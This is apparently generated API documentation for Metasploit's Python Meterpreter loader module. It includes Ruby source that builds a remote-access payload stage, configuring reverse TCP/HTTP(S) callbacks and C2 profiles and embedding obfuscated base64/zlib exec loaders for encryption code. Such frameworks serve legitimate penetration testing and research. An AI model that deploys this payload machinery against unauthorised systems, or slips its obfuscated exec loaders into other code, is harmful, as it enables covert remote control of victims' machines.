Module: Msf::Payload::Python::MeterpreterLoader

Includes:
Msf::Payload::Python, TransportConfig, UUID::Options, Sessions::MeterpreterOptions::Python
Defined in:
lib/msf/core/payload/python/meterpreter_loader.rb

Overview

Common module stub for ARCH_PYTHON payloads that make use of Meterpreter.

Constant Summary collapse

ForceDynamicCachedSize =

Mark the payload as dynamic, as random uuid values lead to differing zlib compressed payloads

true

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITPH, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_cookie_resource, #process_query_string_resource, #process_uri_resource, #process_uuid_string, #uri_checksum_lookup

Methods included from Msf::Payload::Python

create_exec_stub, #py_create_exec_stub, #py_ssl_wrap_socket, ssl_wrap_socket_stub

Instance Method Details

#generate_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 52

def generate_config(opts={})
  ds = opts[:datastore] || datastore
  opts[:uuid] ||= generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python')
  # Pass the malleable C2 profile through to the transport config so
  # that staged HTTP(S) meterpreter sessions honour the profile after
  # the stage is delivered. The option is only registered by HTTP(S)
  # stagers, so it's nil (and ignored) for other transports.
  opts[:c2_profile] ||= ds['MALLEABLEC2'] if options.include?('MALLEABLEC2')
  if opts[:c2_profile]
    opts[:stageless] = true
  end

  unless opts[:transport_config]
    scheme = opts[:scheme] || 'tcp'
    if scheme == 'https'
      opts[:transport_config] = [transport_config_reverse_https(opts)]
    elsif scheme == 'http'
      opts[:transport_config] = [transport_config_reverse_http(opts)]
    else
      opts[:transport_config] = [transport_config_reverse_tcp(opts)]
    end
  end

  config_opts = {
    ascii_str:            true,
    null_session_guid:    opts[:stageless] == true,
    expiration:           (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
    uuid:                 opts[:uuid],
    transports:           opts[:transport_config],
    extensions:           opts[:extensions] || [],
    ext_format:           'py',
    stageless:            opts[:stageless] == true,
  }.merge(meterpreter_logging_config(opts))

  config = Rex::Payloads::Meterpreter::Config.new(config_opts)
  config.to_b
end

#initialize(info = {}) ⇒ Object 



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# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 21

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'Meterpreter & Configuration',
    'Description'   => 'Run Meterpreter & the configuration stub',
    'Author'        => [ 'Spencer McIntyre' ],
    'Platform'      => 'python',
    'Arch'          => ARCH_PYTHON,
    'Stager'        => {'Payload' => ""}
  ))

  register_advanced_options(
    [
      OptBool.new(
        'MeterpreterTryToFork',
        'Fork a new process if the functionality is available',
        default: true
      ),
      OptBool.new(
        'MeterpreterDebugBuild',
        'Enable debugging for the Python meterpreter',
        aliases: ['PythonMeterpreterDebug']
      )
    ] +
    Msf::Opt::http_header_options
  )
end

#python_aes_source ⇒ Object 



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# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 159

def python_aes_source
  File.read(File.join(Msf::Config.data_directory, 'meterpreter', 'python', 'met_aes.py'))
end

#python_encryptor_loader ⇒ Object 



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# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 127

def python_encryptor_loader
  aes_encryptor = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_aes_source))
  rsa_encryptor = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_rsa_source))
  %Q?
import codecs,base64,zlib
try:
  from importlib.util import spec_from_loader
  def new_module(name):
      return spec_from_loader(name, loader=None)
except ImportError:
  import imp
  new_module = imp.new_module
met_aes = new_module('met_aes')
met_rsa = new_module('met_rsa')
exec(compile(zlib.decompress(base64.b64decode(codecs.getencoder('utf-8')('#{aes_encryptor}')[0])),'met_aes','exec'), met_aes.__dict__)
exec(compile(zlib.decompress(base64.b64decode(codecs.getencoder('utf-8')('#{rsa_encryptor}')[0])),'met_rsa','exec'), met_rsa.__dict__)
sys.modules['met_aes'] = met_aes
sys.modules['met_rsa'] = met_rsa
import met_rsa, met_aes
def met_rsa_encrypt(der, msg):
  return met_rsa.rsa_enc(der, msg)
def met_aes_encrypt(key, iv, pt):
  return met_aes.AESCBC(key).encrypt(iv, pt)
def met_aes_decrypt(key, iv, pt):
  return met_aes.AESCBC(key).decrypt(iv, pt)
  ?
end

#python_rsa_source ⇒ Object 



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# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 155

def python_rsa_source
  File.read(File.join(Msf::Config.data_directory, 'meterpreter', 'python', 'met_rsa.py'))
end

#stage_meterpreter(opts = {}) ⇒ Object

Get the raw Python Meterpreter stage and patch in values based on the configuration



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# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 92

def stage_meterpreter(opts={})
  ds = opts[:datastore] || datastore
  met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')

  unless ds['MeterpreterTryToFork']
    met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False')
  end

  met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader)

  # Build the URI from the callback URL if present
  unless opts[:url].to_s == ''
    opts[:scheme] ||= opts[:url].to_s.split(':')[0]
    uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
    opts[:uri] = "#{luri}#{uri}"
  end

  # Generate the TLV config block containing all transport configuration
  config_block = Rex::Text.encode_base64(generate_config(opts))
  met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'")

  # patch in any optional stageless tcp socket setup
  unless opts[:stageless_tcp_socket_setup].nil?
    offset_string = ""
    /(?<offset_string>\s+)# PATCH-SETUP-STAGELESS-TCP-SOCKET #/ =~ met
    socket_setup = opts[:stageless_tcp_socket_setup]
    socket_setup = socket_setup.split("\n")
    socket_setup.map! {|line| "#{offset_string}#{line}\n"}
    socket_setup = socket_setup.join
    met.sub!("#{offset_string}# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
  end

  met
end

#stage_payload(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 48

def stage_payload(opts={})
  Rex::Text.encode_base64(Rex::Text.zlib_deflate(stage_meterpreter(opts)))
end